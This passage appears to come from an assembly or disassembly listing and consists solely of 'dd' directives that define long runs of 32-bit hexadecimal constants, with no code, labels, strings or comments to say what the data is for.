		dd 706F5411h, 0B0E235EBh, 0D7FD284Ah, 0A2200841h, 0FF5F6006h
		dd 8B0108E3h, 9AE7185Ah, 0E9F9984Ah, 3475E731h,	84287C68h
		dd 74D75CDFh, 82C2FA1Ah, 0D1D0D551h, 0E15BFD2Fh, 0F054ADB5h
		dd 0E1BE5284h, 0F70CA501h, 0BA000D09h, 11AC35F6h, 8FB772B0h
		dd 28E001B7h, 0E47B73A8h, 450E2DC5h, 0A014E802h, 10F44C93h
		dd 95CF7FE9h, 0F7A5785Bh, 4EFF419h, 25DC8A92h, 4EA6AA52h
		dd 7F88BA96h, 0A0BC4AE9h, 0CC9D5CBDh, 199984A8h, 399545E9h
		dd 8D8885EFh, 0B605BE39h
		dd 0AA3676Ch, 3D9DD3Ah,	3FFBDA4Ah, 51C5DBE9h, 688F1DB8h
		dd 91123B8Fh, 51A2B74Bh, 75AD0C8h, 73496352h, 57534228h
		dd 79CC8BF7h, 78248CE7h, 32402AC5h, 5552165Fh, 12B0C357h
		dd 3B3492A9h, 70553E1h,	6310DEB9h, 0E0D11D68h, 554F24D3h
		dd 8947A550h, 1E63D9C8h, 524A385Ch, 3EC988F9h, 4A9F224Eh
		dd 138EF34Eh, 7C0B82F3h, 1C05F4Ch, 0B014380Bh, 40A25E13h
		dd 81BD5B07h, 680F6AC6h, 474E52Bh, 1798EA08h, 8A872AE9h
		dd 4D5D3480h, 94B9AEB2h, 229E0492h, 547A8C42h, 3E96EDA1h
		dd 0D5B9FED7h, 479C6E5Ah, 0F2B08A25h, 4F7D9102h, 5F68B03h
		dd 0EFCF147h, 2D8058C9h, 671A1155h, 8EB1E917h, 8B6D56C9h
		dd 0B44C297Ch, 0E776A7DBh, 0CB28BF80h, 41DAE979h, 30DBF573h
		dd 0F3B5955Bh, 594662D6h, 4243FB5Dh, 0ECABE1E9h, 42F41400h
		dd 43B55E60h, 0FD16F10Fh, 59843D24h, 0D4842409h, 0E0C1034Eh
		dd 0D584C208h, 0FA527C11h, 7FD95F09h, 84C9EC2h,	2BFF2FD8h
		dd 32BD02DCh, 26B9F77Ah, 3DFA3AC1h, 222260DDh, 9C62A596h
		dd 4A020B8Fh, 0C07703D6h, 0D6EC0898h, 24B90217h, 0F3786A29h
		dd 0F344A48h, 41D23ABAh, 5AD389A6h, 35E90A34h, 58D74D6Eh
		dd 38715683h, 16B951Eh,	81F5074h, 4802E9ECh, 826E9379h
		dd 7D1384h, 28B6CB81h, 20721525h, 524F534h, 2FE93C33h
		dd 0BDF965E8h, 51233484h, 0FBD8AF7Ah, 0E85A1CC6h, 2F28432Dh
		dd 0AFB5239Dh, 63A05488h, 0EB80469Ch, 6C90ABA5h, 246853C3h
		dd 676966A3h, 4AA99252h, 0DC9C7079h, 0A058E68Eh, 0E9535AF4h
		dd 12729CF7h, 0F2F1065Dh, 0E6BCA5D5h, 0E845DA01h, 0FC2E0536h
		dd 534B4ECBh, 8419F909h, 0F17EE954h, 4BA2D465h,	1590A4B2h
		dd 0E741C20Fh, 0F68A8A0Eh, 1967FAFh, 0A29C3BB3h, 0D00128A0h
		dd 299105DCh, 0AF4A1FE5h, 0B00760F5h, 0D7CBFED3h, 5989B2h
		dd 1E2751B9h, 0E1B8614Eh, 0DBED8083h, 0D859EFB9h, 0F7F223C7h
		dd 0F828AC0Eh, 7F068BE9h, 0C17D8A9Ah, 0C7AD3FFBh, 32D82DCh
		dd 9E8687Eh, 715CE9F9h,	3A3C7F11h, 0B092D9B9h, 2E4F334Bh
		dd 0AE8263D4h, 2D4674B5h, 2791BF0h, 0CD748333h,	0F0F9B0C7h
		dd 0B669B563h, 6F4A70CAh, 122A369Fh, 89665C68h,	11BC2F41h
		dd 13C88A92h, 0F251EE01h, 52904CFBh, 54257B43h,	2B475DE4h
		dd 0CE0CEF24h, 6E08FD69h, 27C441C2h, 0D254D288h, 4AE20255h
		dd 0E986FCD8h, 98F16F43h, 1EBF0415h, 76254479h,	346D879Ah
		dd 4F64F77Ah, 72E12EACh, 0CE87014Ah, 0D56240CAh, 81681851h
		dd 92DB2308h, 59C8BCA8h, 0D0506790h, 3240258Dh,	0E6FEEC80h
		dd 3F8576F1h, 4D125CE1h, 9264AA94h, 595EB5C0h, 29342533h
		dd 8204756h, 6FB6E916h,	269F8CBBh, 47F89D84h, 68EFA19Dh
		dd 0B0767108h, 3140AE3Ch, 0F95EF125h, 808F88FAh, 0C1728225h
		dd 121340E2h, 0F4DBC683h, 0F0B72049h, 464409EEh, 707D6640h
		dd 0A95B7C84h, 3160D7AFh, 0F42D81F3h, 1E5B346Bh, 71062C4h
		dd 16AA4FFFh, 0DC05BE89h, 8CAF215Fh, 0BD6690h, 0D69ABF11h
		dd 0A1164A8Ah, 0FAA26E93h, 6E30A95Fh, 89C3E5F4h, 0A2A631ABh
		dd 66756F5Bh, 133DE3BBh, 0FFB750B0h, 2853BD02h,	0C1806543h
		dd 1D404F9Bh, 0EDC1F3A0h, 0E90A0267h, 0C5C929FBh, 97C825B8h
		dd 65821F03h, 0D8FC2DFFh, 0F282FC7Ah, 0DFA9E142h, 0B70214DFh
		dd 0E61A87h, 74011008h,	0C68D0BEh, 30207A20h, 0D0F62495h
		dd 206D133Ch, 1901D967h, 0FB144F73h, 4E08BD55h,	0DF5FDCF0h
		dd 0FC77B524h, 0D3F7136Ah, 1329F7E0h, 0E253E843h, 43ADB48Bh
		dd 13E2E225h, 50C4385Dh, 0AA74FE56h, 0EAD0DFCEh, 0B1DD0BFh
		dd 527C29C8h, 0C96F8580h, 9AA0B386h, 1037557Ah,	57B40C4Ah
		dd 6AA1FABh, 486D6CE9h,	0E1F475Eh, 614BF845h, 1755F2FEh
		dd 0D9FAE307h, 0FAF30138h, 0CB750795h, 0EA4FFEE8h, 0F3813D40h
		dd 58F58610h, 0BD5E128Fh, 31BC5BF7h, 8D0A2D6Fh,	0E5ACDAh
		dd 5108E581h, 951C6E2Bh, 0EBE4D0F7h, 0FEAFFD02h, 2D015EF1h
		dd 0F85E14F5h, 0B40A4ADCh, 8C923B86h, 53AB595Eh, 7B4D1D73h
		dd 0D05D24E7h, 68CD8749h, 37BAD54Eh, 0FE4AC085h, 0B6093532h
		dd 0F5CD01B5h, 12058302h, 0A22E282Dh, 0A7D1A57Eh, 8424DC19h
		dd 254DB8D8h, 0B6E6094Eh, 98186220h, 3D9479C6h,	0DD92392Bh
		dd 2062C9A6h, 2806A726h, 0ABBD7756h, 0ADE9120Bh, 0D562FC57h
		dd 6CBB5ED3h, 8B4DB892h, 41D54FA4h, 0E25E3ABCh,	7EA5D25Ch
		dd 0C4F7E22Bh, 29C2CF89h, 0DB987721h, 0BD887366h, 0BF411225h
		dd 838CF839h, 0B011B362h, 4D56B8CDh, 1E1FE2D9h,	0C33D84Ch
		dd 7B2F5203h, 0FA24FD31h, 2B6DEA58h, 487A442Ah,	63A144Eh
		dd 47D63C61h, 6BAA010Ch, 0DF31058Dh, 3A41CE5Bh,	2EEA652Fh
		dd 15C6A5B9h, 76B71A47h, 0B16DD0FCh, 0C5585D80h, 0EA480F7Ah
		dd 49A3E130h, 0DC86A018h, 9FCB97C4h, 0C257B6E9h, 5FFC75h
		dd 2CF9045Ah, 2FF1E949h, 43CB6CF8h, 0B6F47D6h, 0BF2A20D2h
		dd 5F124F32h, 0F1B5855Eh, 2F706D1Dh, 0F79B43EAh, 59B9E56Eh
		dd 0F06A32CDh, 3441BE69h, 0F88F327Eh, 3EFDE0ABh, 0E7E9252Dh
		dd 0CEE06D0Fh, 4D83717Eh, 0AA0275B8h, 29909693h, 0D0BFC2F3h
		dd 0F53500D9h, 89A0221Fh, 95A02047h, 0C0807E1Eh, 51030FEAh
		dd 666C8B1h, 250758FCh,	3BF87E71h, 0A0330457h, 23E0D04Fh
		dd 2030F902h, 7B5F09ADh, 64574A6Bh, 0DEEA00B4h,	0E95ED04Bh
		dd 0F3972BB7h, 280342A0h, 55565802h, 7952387Eh,	0E95087C0h
		dd 0A4C6CB95h, 0CFCD925Bh, 0C47AE0E3h, 0C396BD11h, 0B978552Dh
		dd 4E305B7Bh, 0BB925B4Eh, 265F722Ch, 9C8D5B52h,	423A6E03h
		dd 2D04F208h, 1B2C96AFh, 120702BFh, 20010932h, 2096D443h
		dd 829F46CCh, 7F095B03h, 0C0B7D54Ch, 2FA3621Ch,	16F7B619h
		dd 774CB05h, 68E4EBF6h,	89AC8724h, 79794BD7h, 721D3704h
		dd 0A104F4C9h, 83812BEDh, 5B012DD1h, 0C8F1FA89h, 409FDCA7h
		dd 1A623BA0h, 0E9514805h, 0A2AEE06Eh, 67EE4E8Ch, 8040C9A7h
		dd 445C7668h, 0C194189Ah, 169AB932h, 0FF2CD223h, 0DE1F7D52h
		dd 60DE199h, 2CC07020h,	495CFA65h, 0DD17A9FFh, 3442F8B4h
		dd 26D6E91Fh, 99046F8Bh, 3AC3CD4Bh, 0ECE657FFh,	0EBC009B2h
		dd 0C90CF002h, 68969E06h, 425F6879h, 0AB4E72E3h, 0FDFF400Bh
		dd 0D0E34C20h, 38E37D30h, 0D83A005Ch, 4CBE561Eh, 9DE2415h
		dd 59452FC1h, 51A5E381h, 24602979h, 0B42C05DCh,	0B0F1E909h
		dd 649D5BC9h, 6F99342Fh, 174CF889h, 0C9BFDD21h,	904A2BD8h
		dd 732FF468h, 0E995039Ah, 300B775Bh, 2F396858h,	0A3AE6406h
		dd 5926A6F2h, 0EDED237h, 0FD03F77Ah, 5D5F482Eh,	0D2A837AAh
		dd 4C5FF6D7h, 12AEDFEBh, 0BBF0C0A2h, 233E6E61h,	5BD98B2Ch
		dd 49FBC055h, 5E21279Eh, 0F74BE4D4h, 0DAA8EC20h, 8972F57Ah
		dd 4D26129Bh, 0C9EC9238h, 5E7C14E7h, 29C99168h,	15CD40C2h
		dd 2310D53Ch, 82B4F201h, 0CADE898Ah, 0FED2F604h, 786D9682h
		dd 2230B7F6h, 27148ACBh, 7DE236A0h, 7B9F131Fh, 6780C901h
		dd 0C82736Bh, 2453FB0h,	0AC18AA81h, 483C71E4h, 0F18B0171h
		dd 128007E3h, 63350C3Eh, 0DABA8DE9h, 68DE0500h,	0C589E4EDh
		dd 0A3B80158h, 0E99618BBh, 0B9EE503Fh, 173D5AB6h, 7F782F1Fh
		dd 69DB6420h, 0CC31C26h, 949736EAh, 47ECED80h, 1A1D4C66h
		dd 2EF6262Dh, 0CB209554h, 9568C8BEh, 8E873659h,	5EB83343h
		dd 60E2C3C0h, 0F2BD6F6Ch, 0D2088240h, 61E9707Ch, 0C1FE34ADh
		dd 0CCFCC980h, 0C073FBE1h
		dd 16A3064Ch, 21F60A27h, 5A7BE654h, 98F3524Bh, 6E105E82h
		dd 0E00B6AA3h, 9304FE4Ah, 0BE0ED001h, 573D6461h, 4DA72608h
		dd 0F078D0A7h, 8D1E4F20h, 25BE2D29h, 0D15B0728h, 26D3747Bh
		dd 7903027Bh, 607D44B0h, 48FD2959h, 330F025Fh, 412B8C47h
		dd 1701947Ah, 29A59B56h, 0C62C59CDh, 27DEC7Ch, 680A956Eh
		dd 74716908h, 5E52B897h, 15311EAFh, 2907F044h, 0A230FE6Ch
		dd 5B05F081h, 0EE5384F6h, 2DF29310h, 61BB565Ch,	6A0B8668h
		dd 56663E30h, 4E2A98F8h, 0AAA213DBh, 0BE23BBDDh, 27B0E90Ah
		dd 46E8A5C9h, 1E0B1612h, 16FB893Eh, 0FFFF805Ah,	0BE759D33h
		dd 0F63E5539h, 0A66CAB2Eh, 0A9705DE9h, 0C2023459h, 16497101h
		dd 790B41h, 0BE06852h, 5A31B02Bh, 0E7CC4681h, 60D8D248h
		dd 87FBA06h, 0F240CD03h, 259D0058h, 0E955DA01h,	59B56E0Fh
		dd 8C68E17Fh, 0D280785Eh, 0E29369ADh, 4D2BC740h, 34B2DF0Bh
		dd 25965A75h, 1A4441A7h, 582601E4h, 0A242FC59h,	5E62CC56h
		dd 58B9C2CFh, 8C48657Dh, 682CC0FCh, 0C95FD725h,	0B738382Bh
		dd 107BE2D3h, 0B84EEB74h, 8D618C08h, 53460BBEh,	92FF4EF5h
		dd 0F4F184D8h, 0C1668213h, 5CC50275h, 696E57E4h, 7F3AE297h
		dd 144F8C6Ch, 0B8BF8EC4h, 7B3DB7BBh, 956F9761h,	43D2EBC1h
		dd 7C5E8B5Fh, 27ECA7DBh, 8C90595Eh, 275BEEE7h, 0E58B2010h
		dd 0BA8B40FDh, 7BEF072Fh, 0C2D131E3h, 4CC9869Ah, 0FFAC3BF9h
		dd 65B3C498h, 0F7227009h, 5D606DDh, 0F9034F06h,	31A3046Bh
		dd 7A400C9Ch, 0C5835D69h, 0B01E0160h, 80234F62h, 404C2A55h
		dd 4CED07BCh, 0E921597Fh, 8A3FE49Bh, 80B52FA0h,	2FF82D10h
		dd 0A8164EA7h, 7F8D2D22h, 94980298h, 1E905F81h,	0A3975BBAh
		dd 49B051F4h, 0F821255Dh, 6841BB53h, 7B8E1FC3h,	0FA1752BFh
		dd 1B82298h, 34533CE0h,	0AFDB2D48h, 0D337090Dh,	0EF880621h
		dd 9EA00C8Bh, 0E4A4E030h, 67297109h, 42128026h,	32E595BDh
		dd 0DFBCF801h, 0EEA348FDh, 0D5F01309h, 0C2C0AFB2h, 9055DE8h
		dd 326C7247h, 78081D0h,	734C71E9h, 0BFA69276h, 0B6880713h
		dd 4BCB1312h, 0EF802930h, 9E5EF62Dh, 0BD4C2FACh, 0D2478B62h
		dd 3D68DB35h, 0FF8A3617h, 563FF0CAh, 0C4C4819h,	0CCD63051h
		dd 26817B49h, 5B00BCF0h, 813B6B74h, 77BE05F2h, 0AA053171h
		dd 0D017EE0h, 4076E9D0h, 0B3F17A5Eh, 0CEC8FC01h, 0E4003479h
		dd 814C6526h, 7B1D3AF3h, 0E39F4EB9h, 28A56685h,	503CCBBCh
		dd 49DBA50h, 0F772FA5Dh, 0CBE9C2DFh, 681FEA08h,	84980B15h
		dd 51BCF2D9h, 0C9776887h, 812081E6h, 0F585883h,	91B85D17h
		dd 3006E2C2h, 1C12B3ABh, 18000F1Ah, 70D06D16h, 11723D35h
		dd 0E8D1250Eh, 173D3B61h, 0BFB16A38h, 2D08D0CFh, 0E52300E6h
		dd 0B889354Bh, 31163754h, 7F058C2h, 848F4AE9h, 1DB8EFF3h
		dd 54840CDFh, 0FD90CF19h, 0AE41F04Eh, 110C685Dh, 0CB44A62Eh
		dd 0B7E58388h, 6C4569E4h, 0E224F9D5h, 3EEC0965h, 6859ABB6h
		dd 3A511BF5h, 9450F9E9h, 12F4E281h, 0AB472E45h,	0F8D6981Ch
		dd 509172ABh, 76E8E654h, 9AFB5613h, 3F8A6AAFh, 0CDE3140Ch
		dd 6C60956Ch, 3EF3C51Dh, 2EF669AAh, 0FBC572F8h,	6818216Eh
		dd 0F8F16550h, 5C976C05h, 210FA715h, 66011741h,	47C43EFDh
		dd 420CBB80h, 0BD8C9DE6h, 0E6C01A3Ah, 647C49EDh, 400CCA53h
		dd 0C7E18A7h, 190B692Eh, 88FD0141h, 752F08D4h, 1909919Ah
		dd 0A7A02758h, 29051BD3h, 76C7E933h, 4BEF5590h,	8B20F93Ah
		dd 6140BEEh, 1CFEE452h,	13F23408h, 0C96DB05Ah, 71C18005h
		dd 0DDFACC28h, 12BB2B83h, 0DBCAEBB5h, 27D9542Dh, 96302C2h
		dd 6AE76877h, 0D432526h, 0DE6018F7h, 2DA9587h, 97772209h
		dd 4E5A5D86h, 882A301Fh, 0BD2260EEh, 0B0E3D12Ch, 0F74B0603h
		dd 0BF4E06D3h, 3223AB40h, 0D9198306h, 9F18E974h, 7BC6022Ch
		dd 577E479Ah, 80F48E4Fh, 0C5809F2h, 0CFD1735h, 0B54124Ch
		dd 4A4C2567h, 0F90217F4h, 0C27D1605h, 54C18291h, 7B7F0958h
		dd 1A2E08B8h, 946C42D0h, 27A2AAA1h, 0B2773D38h,	0B0AFC37h
		dd 8E5E02E2h, 0C2085B04h, 0AAEAD004h, 3581E2C7h, 1D7CCDE9h
		dd 14CA6470h, 0BF3CFAF7h, 0A3584DE9h, 1E7B3050h, 0D3AC3834h
		dd 5B0982BCh, 71D0B8C0h, 74582C2Dh, 0E310F15h, 760C538Ch
		dd 0DFC9ED13h, 87E145D0h, 54CF2E44h, 0F8571517h, 563CD117h
		dd 4FABEDB0h, 45FC7B0h,	4D108F09h, 0F2C904F7h, 0B460E8AEh
		dd 3D04D8FFh, 9F7E69h, 4954C704h, 0FCC5FE07h, 7074B2AAh
		dd 97F1735Ah, 6886C571h, 3895361Ch, 0AB4F3943h,	0B7598128h
		dd 2E62EFD1h, 30B611D8h, 58453061h, 0E5C8E87Ah,	90C013AEh
		dd 3207F279h, 21BF0916h, 3B57CB8h, 0D9615251h, 2AC4C7E5h
		dd 3EF05ACh, 9497004Fh,	0E93C6F15h, 79C4FC4Fh, 873409ABh
		dd 0BB01F5D8h, 3BF130FBh, 8BF1F329h, 0AC31126Eh, 8181A4E2h
		dd 99812ADFh, 0A20512E3h, 0D0EBD97Ah, 0CE2548B5h, 0B82DF889h
		dd 58AA9E26h, 43DD7EAEh, 80968A99h, 0BFDB70ECh,	0E45A8376h
		dd 3BC92C98h, 0F1B667A1h, 0CC5CCE80h, 0CD3E2F6h, 0E9A4F0AEh
		dd 4185755Bh, 0E4F2E381h, 49F0C304h, 8172DBF8h,	98E1CB3Ch
		dd 0AFC03A5Dh, 1AC4307Bh, 0D7312918h, 33E92212h, 8B0635F1h
		dd 0B054957Dh, 67156804h, 4A4F8FEFh, 0BC7E0BCDh, 8A62BDFDh
		dd 2D68971Ch, 94F394D7h, 52888B0Eh, 2FAD40D3h, 6B69E412h
		dd 15A36CFAh, 0B4B26845h, 8903A6DCh, 1AB9E9E0h,	618A2988h
		dd 0A1127524h, 1EE7B2ABh, 0F89203B7h, 50588B43h, 0C53FC151h
		dd 0E1C8C92Ah, 4B5E7CB5h, 0F92A23B1h, 7AF612FDh, 7FFBEC47h
		dd 89795F09h, 0A768C2CBh, 99520A52h, 68D6804Dh,	9E0B4033h
		dd 70F385E1h, 49708574h, 89D5293Fh, 8E9577EDh, 25BF6CADh
		dd 0F04E97A6h, 3E4BD67Ch, 3AB51181h, 73EEC3Fh, 59EA30B4h
		dd 88ABF261h, 6882CE23h, 3FA00B6Ch, 0E6C037B6h,	0EE800209h
		dd 3C7EF976h, 2D17FE50h, 0E0C177E9h, 40902E21h,	60F83B5Dh
		dd 0AC390C10h, 76BF2B98h, 0FBC8CC89h, 304B18F8h, 80384A5h
		dd 0A41E0B5Bh, 8D75C950h, 8061E72h, 34283E0Ch, 32FF370Bh
		dd 6529C9C5h, 0C7D74525h, 4C90393Ah, 6E3D6777h,	62289702h
		dd 6847EE9h, 2FD55059h,	62BC7952h, 0EA0D6D48h, 6A2EAF3Ah
		dd 91393C50h, 15AF06F8h, 0EB065E25h, 3FE80490h,	396E09B6h
		dd 0F8025174h, 397422D8h, 5C9DCD09h, 0E0C16023h, 50035202h
		dd 3C6C5868h, 0BFEA421h, 23004A62h, 5EA75DDFh, 81140960h
		dd 1D5939E2h, 8BD179A8h, 4CE00BE9h, 0C01D5C04h,	0C24908E0h
		dd 0B0C8DD88h, 32BE3170h, 6BC3550h, 2BE97249h, 5397943Eh
		dd 5574EB94h, 7C565289h, 6CC3C053h, 81FC7FBBh, 44E2CD05h
		dd 8F1241AAh, 0F8EFC5D4h, 0EEC0B42Bh, 5CC555EBh, 6E137161h
		dd 0D672B9A0h, 0C8A73A09h, 2D6254B1h, 385415EEh, 0BAD308h
		dd 0E130A2B4h, 0CA048858h, 8EAC059h, 0C846FDC2h, 3A9AB98Eh
		dd 0BD935572h, 0F91A8CEh, 0D31EC5F5h, 99C5C1FEh, 5DB87EA2h
		dd 77B6BBD3h, 0B915FE18h, 4C124DEEh, 0A5FFB8E5h, 5CF960D6h
		dd 0E85CA94Eh, 0EB2F1F19h, 6B3CEC6Ah, 4840570Ch, 0F7BA82E9h
		dd 37573505h, 85AB7E12h, 136DA9EEh, 98C27408h, 0EB785DEBh
		dd 425EE925h, 2857DE3Ah, 90B38483h, 0BDFFB882h,	5F89E276h
		dd 2FC35938h, 530626F7h, 66570719h, 45157EBFh, 0C78C034Fh
		dd 86DD09F5h, 0EF1F10F6h, 31C68018h, 3E085FFAh,	0BCCB5AD6h
		dd 0EE0867E5h, 9134FC4Ch
		dd 3DDE03CCh, 4E2C0BBAh, 3F02FD10h, 7B339E9h, 0C902B483h
		dd 2CDDE3h, 165B105h, 0D2D19E4h, 2A8022C4h, 0E9E042BFh
		dd 987F641Ah, 276FCD64h, 527E6775h, 9D1C6C58h, 0BA81E1D3h
		dd 29D36164h, 9672F83Ah, 59C661ACh, 0F7243681h,	27024EDDh
		dd 70E60CCCh, 8B009148h, 304A6A05h, 552462DDh, 9F8BE9F1h
		dd 356C7D93h, 6485BE5Fh, 969F84A2h, 615BE59Ch, 624F4342h
		dd 327FB9D9h, 54581682h, 0BED44216h, 751C081Ah,	861C41ABh
		dd 0F90CD24Bh, 3CC33887h, 0C65056E4h, 419041A3h, 69DAC2BCh
		dd 0DBBD0262h, 5D3198B5h, 7AA7FEE9h, 0EA031D25h, 8D286A17h
		dd 0BBFA17AFh, 0D55C7492h, 0E916EA3Ch, 0D1FA5A07h, 0A04B53B7h
		dd 0EF0BE8F7h, 0F865B647h, 770782A3h, 4BB0218Ah, 325A52DEh
		dd 0BC9A7533h, 7CA08BDFh, 0D7182DA1h, 862F79BBh, 0B705F83Eh
		dd 0A4C58B79h, 2EA8A57h, 4AE56C45h, 5EF420DDh, 0D6F88921h
		dd 0FD78083Bh, 3283680Fh, 0C8554433h, 25A30A8Dh, 0BE785D4Ch
		dd 73D7BEC1h, 0C82EFECDh, 0B74AE957h, 0EE3012F4h, 9D364B84h
		dd 0D4F86E6Ch, 242DA84h, 7654575Ch, 5D5A881Fh, 69BE5601h
		dd 0FFCE0A0Ch, 0FC4C1441h, 0F20B816Ah, 75573219h, 25ADBD00h
		dd 42600C38h, 0EC02440Eh, 2926C148h, 85318F57h,	281F4D0Ch
		dd 0AA2612BFh, 5E8CF467h, 4D3FE69Eh, 0BB5F0CD9h, 68511B45h
		dd 0EE8EA831h, 1C09256Dh, 83D80B56h, 4E0924E8h,	2BC7E913h
		dd 23A27DBFh, 4D741F31h, 2B0AC581h, 409C2C09h, 622C9CCh
		dd 0F3C9C000h, 310450C7h, 5879E9EFh, 387B5CA7h,	0FF4E7ACBh
		dd 717A84D9h, 6E230105h, 0C0F91BD2h, 4F4F35BEh,	7111C7C4h
		dd 42505FAh, 0D278AB82h, 0C3EFA0C5h, 0F8478139h, 1CC23A4Dh
		dd 0D512C780h, 0CF209D58h, 3038148Fh, 0F845E1F8h, 0EFA9C56Ah
		dd 2C2512C0h, 70A2FCD7h, 5574B527h, 64E2E970h, 0C8D20A3Ah
		dd 35416CF3h, 0EBC66340h, 26A22C28h, 37F00454h,	11E58110h
		dd 0EC2B596Ah, 0FB957391h, 0A853970Dh, 2C8F05CEh, 11B47FB0h
		dd 414336F2h, 0B1981228h, 5882B5FAh, 0CAA9895h,	73A35ADDh
		dd 0F928180Ch, 0E83EBC54h, 7570A5E9h, 0AD80174Ch, 0A27342Fh
		dd 91645D75h, 547BE915h, 0F94E3BFFh, 859DCC5Eh,	2423B66Bh
		dd 341019F7h, 963875Bh,	16B01F50h, 7697C8FAh, 0E2299408h
		dd 0F7876827h, 9BDCD3ADh, 475A1A25h, 645FA554h,	6161EAF3h
		dd 20683C65h, 0F372A01h, 0BAD2612Bh, 326E3DE0h,	0C2AA5707h
		dd 291ABA87h, 0EF02B450h, 0F6D3A4C7h, 0D8536309h, 60CDE9DAh
		dd 0E2EEE95Bh, 38B0B14Bh, 9491C05Fh, 0DC895FFEh, 96753646h
		dd 0BA75FAE3h, 0A558508Ah, 790B9802h, 0CA6BF5D3h, 16A04A11h
		dd 10DE52B7h, 0EA28F505h, 0C2A1116Dh, 78ACB801h, 6F097BE0h
		dd 5185045h, 4E900CC5h,	955F2E1Ah, 880CF72h, 2F63BFE9h
		dd 94555042h, 0D57087C0h, 4FC4C443h, 0CEEA17E6h, 6D6812C5h
		dd 0AD6A76A1h, 0EAA6F5D8h, 96F55925h, 6AD09D3Bh, 85CC665Fh
		dd 3F2641ACh, 3D825987h, 4EAD6BCDh, 0AFFE239h, 0F6619D68h
		dd 446035C2h, 2CED2E4Bh, 9C542F5Ch, 0BE75E947h,	0C3297A3h
		dd 84259C6h, 3B18D960h,	6800FF97h, 0C255CCE6h, 8EC0D79h
		dd 760318C9h, 2F7838BAh, 0B14C0118h, 7E4F687Bh,	0C9530823h
		dd 0B4713899h, 9D38462Ah, 0F1BD2205h, 9A5AAD4Dh, 0A8AC0FD6h
		dd 0B671AD9Fh, 8247BA2Ch, 0F0310ED8h, 9284C64Bh, 0E5550F48h
		dd 0A6E95627h, 0FF3F9B06h, 24090C7Dh, 1D990Ah, 0B155E773h
		dd 0FB89043Ah, 0BEFA70E9h, 29B1E7A8h, 0BA67ACDh, 5420E91Bh
		dd 0B68E92DCh, 5725AB5Ch, 0E909A66Dh, 42274038h, 9D70BDD1h
		dd 97115649h, 62E1D4D8h, 53D07F6Bh, 816E3461h, 0E87AF5D3h
		dd 0BDEDFEDDh, 99F0B457h, 4B101A2Ah, 0E1AFBC5Eh, 3000F528h
		dd 807758C5h, 0E81FB84Eh, 0BD06EC18h, 0FB35853h, 1F24ED1Ch
		dd 59C59DDDh, 0C1A9125Bh, 8F217BEEh, 6603A2FAh,	64E128BAh
		dd 0DBA63030h, 5812EA96h, 820DA2BAh, 50D5E95Eh,	0ACB50E38h
		dd 0EB0B7DB3h, 0EA406B84h, 0C180E364h, 50446230h, 1654A53Bh
		dd 6EEE50h, 7A553AB4h, 652DE94Fh, 20E9DAE5h, 50B73236h
		dd 7B043928h, 0A7663C1Dh, 389499FFh, 0CD4B2C38h, 0D6A42F8Ah
		dd 17B419A3h, 618972BAh, 9052C1DEh, 2913C034h, 0EB3312F1h
		dd 556A6721h, 0A52CDC25h, 1780957Bh, 0E42CFDB9h, 5FAA094Bh
		dd 0AE16CB4Ch, 0DD9BBA75h, 9808DC65h, 1242C78h,	417E7C75h
		dd 62BD7C29h, 740A2C64h, 54516221h, 0ABC2A289h,	0D4F6DDABh
		dd 3860582Dh, 6EA5BCB1h, 0C11FECD0h, 853907EFh,	0EDC892F6h
		dd 0A08249BEh, 7EBF6D58h, 0ED4B7868h, 43F3C1C7h, 8CAE5274h
		dd 8F957094h, 76B66028h, 4C0DEF6h, 0D76807E6h, 0A930AB4Ch
		dd 48EC801Bh, 0C9166E1Ch, 87BCD23Ah, 0CEDCE041h, 817891C4h
		dd 0CB463B09h, 1FDDF068h, 7E08E136h, 87EE4F7Dh,	3137632Dh
		dd 0DBFB0A4Ah, 30AF5EF5h, 37FBE968h, 0B1AF36D3h, 61A22B33h
		dd 0C104D1E4h, 906460E1h, 0C382D0BAh, 4E15BEF5h, 0C835BB3Ch
		dd 0BF1C44FEh, 0F945EA32h, 0CBFB5ECCh, 0F5A7DE1h, 0FC581D09h
		dd 174300FFh, 5BD92112h, 0B3083D9Eh, 0DEA63BABh, 0D570129h
		dd 2B0135F2h, 5E0967BCh, 3E89B72Dh, 81F3CD6h, 84FD9EC0h
		dd 73C731A5h, 0E5FEE58h, 360AEA81h, 59F638A9h, 1344E708h
		dd 0FD71FB31h, 59026A09h, 0BB16A2DFh, 44EE5F79h, 688652C2h
		dd 0FB92F533h, 0F35F0805h, 8FE90B5Ch, 0C24ED405h, 2B5C6278h
		dd 0A3DF562h, 76EA000Ah, 0F02D1A31h, 0F5AF4F25h, 12075008h
		dd 0C93DF959h, 64E7765Bh, 0B76D8357h, 0D9EB5104h, 85F17C1Fh
		dd 803E986Bh, 31AB775Eh, 2FFBD4h, 323DA22Dh, 5601D40h
		dd 25810788h, 0C2A633F4h, 14525F0Ch, 4A012D3Ch,	9D0205F6h
		dd 5F1B2B3Eh, 6B0A1DD0h, 9164F81Eh, 0A682503h, 0EF0C017Ch
		dd 0E97E6533h, 0C6A1FEF3h, 24555BDDh, 4F25707Bh, 0E91FE173h
		dd 3AAF0744h, 315C0960h, 0A55959CDh, 0E9613AF6h, 0EC92B25Fh
		dd 2E2E0B57h, 0D79D4770h, 0CDD5EA29h, 4B0116E9h, 0ECD405D9h
		dd 901759A4h, 885038BEh, 0EB27C572h, 9E85B059h,	32D6D8h
		dd 0F0771A2Ah, 0D1945B7Ch, 0E2100126h, 6281AE4Bh, 456B75CAh
		dd 74B61058h, 0DB53AA36h, 6A80DE64h, 918321Fh, 0D2F75A46h
		dd 45134278h, 26AA3B7Eh, 751C1627h, 62674734h, 0C60D5F8h
		dd 0C513B0BCh, 0AFE4FEE9h, 4157EE56h, 0D2980133h, 105B6295h
		dd 0E148887Dh, 17177811h, 0C70003E2h, 7CF927E6h, 0E05984Eh
		dd 0ABA05A9h, 199B02DFh, 0F700680Eh, 1D264660h,	455BDE31h
		dd 0FFF303E9h, 0BD37846h, 769280F1h, 1350B27Bh,	0E8041D5Fh
		dd 0F7523DA8h, 97F114Ch, 2993E9CEh, 0F0D66Bh, 0FA381605h
		dd 0C5042D6Eh, 5928A407h, 91DDFEBh, 560DD068h, 0EB15E5E2h
		dd 9BEF2340h, 0BDF8EDBDh, 5370410Bh, 0D6287327h, 0F7D45031h
		dd 2DE7C697h, 0C266058Dh, 0E62B7450h, 5682DEA3h, 99CE7EC0h
		dd 45CC5126h, 0E62B9880h, 0A92AE912h, 0C8481C7h, 87E43543h
		dd 0FAD0D47Eh, 7CE81E56h, 0EF6F6885h, 0CA1748F3h, 8105A84Eh
